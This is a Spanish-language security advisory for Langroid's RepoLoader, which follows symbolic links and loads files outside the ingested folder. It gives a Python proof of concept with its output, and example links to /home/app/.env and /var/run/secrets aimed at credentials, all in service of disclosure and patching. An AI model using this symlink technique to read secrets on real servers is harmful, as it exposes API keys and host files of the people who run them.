GHSA-99M6-3PVG-Q66H
RepoLoader sigue enlaces simbólicos y lee archivos locales fuera del repositorio o la carpeta ingerida
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-99M6-3PVG-Q66H divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 0.65.11 | langroid · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
El `RepoLoader` de Langroid sigue enlaces simbólicos controlados por un atacante al ingerir un repositorio o una carpeta local. Como resultado, un repositorio o un árbol de directorios que contenga enlaces simbólicos a archivos o directorios del host situados fuera de la raíz prevista puede hacer que Langroid cargue esos archivos externos como documentos.
Esto genera un problema de lectura de archivos locales durante la ingestión de repositorios o carpetas.
Detalles
El comportamiento vulnerable se encuentra en `langroid/parsing/repo_loader.py`, principalmente en `RepoLoader.load_from_folder()` y `RepoLoader.get_documents()`.
- `load_from_folder()` recorre las entradas bajo la raíz proporcionada usando `os.path.isdir()` / `os.path.isfile()` y lee los archivos con `open()`.
- `get_documents()` recopila las rutas de los archivos y las pasa al análisis de documentos sin rechazar enlaces simbólicos ni verificar que las rutas resueltas permanezcan dentro de la raíz prevista.
Dado que se siguen los enlaces simbólicos, un repositorio o directorio local malicioso puede contener entradas como:
- `secret.txt -> /home/app/.env`
- `lootdir -> /var/run/secrets`
Al ingerir ese árbol, Langroid lee los destinos de los enlaces y expone su contenido como objetos `Document`, aunque los destinos estén fuera del repositorio o la carpeta ingeridos.
Esto es especialmente relevante para aplicaciones que ingieren repositorios o árboles de documentos locales proporcionados por usuarios y que luego exponen los documentos resultantes a flujos de recuperación, resumen o chat.
PoC
El siguiente script demuestra que tanto `load_from_folder()` como `get_documents()` siguen enlaces simbólicos y cargan el contenido de archivos situados fuera del directorio raíz previsto.
import tempfile
from pathlib import Path
from langroid.parsing.repo_loader import RepoLoader
with tempfile.TemporaryDirectory() as td:
td = Path(td)
base = td / "base"
outside = td / "outside"
base.mkdir()
outside.mkdir()
(outside / "secret.txt").write_text("HOST-SECRET", encoding="utf-8")
(outside / "nested.txt").write_text("NESTED-SECRET", encoding="utf-8")
(base / "link-file.txt").symlink_to(outside / "secret.txt")
(base / "lootdir").symlink_to(outside, target_is_directory=True)
tree, docs = RepoLoader.load_from_folder(
str(base),
depth=2,
lines=20,
file_types=["txt"],
exclude_dirs=[],
url="attacker/repo",
)
print(
{
"doc_sources": sorted(d.metadata.source for d in docs),
"doc_contents": sorted(d.content for d in docs),
}
)
docs2 = RepoLoader.get_documents(
str(base),
file_types=["txt"],
exclude_dirs=[],
depth=2,
lines=20,
)
print(
{
"get_documents_sources": sorted(d.metadata.source for d in docs2),
"get_documents_contents": sorted(d.content for d in docs2),
}
)Resultado observado:
{
"doc_sources": ["link-file.txt", "lootdir/nested.txt", "lootdir/secret.txt"],
"doc_contents": ["HOST-SECRET", "HOST-SECRET", "NESTED-SECRET"]
}
{
"get_documents_sources": ["/tmp/.../base/link-file.txt"],
"get_documents_contents": ["HOST-SECRET"]
}Esto muestra que:
- `load_from_folder()` sigue tanto un archivo como un directorio enlazados simbólicamente.
- `get_documents()` sigue un archivo enlazado simbólicamente y carga el contenido del destino externo.
Impacto
Si una aplicación permite que usuarios no confiables seleccionen o proporcionen un repositorio, una carpeta o un árbol de documentos para su ingestión, un atacante puede usar enlaces simbólicos para que el servidor lea archivos locales situados fuera de la raíz de ingestión prevista.
Según el despliegue, esto puede exponer:
- archivos de entorno y claves de API
- código fuente y configuración de la aplicación
- secretos montados y otros archivos legibles del host
En servicios alojados de tipo "chatea con tu repositorio" o de ingestión de documentos, esto puede convertirse en una divulgación de archivos locales del lado del servidor.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilangroid |
Corregida | 0.65.11 | 0 d | 0.69.22 no afectada |
0.65.11Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/langroid/langroid/security/advisories/GHSA-99m6-3pvg-q66hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
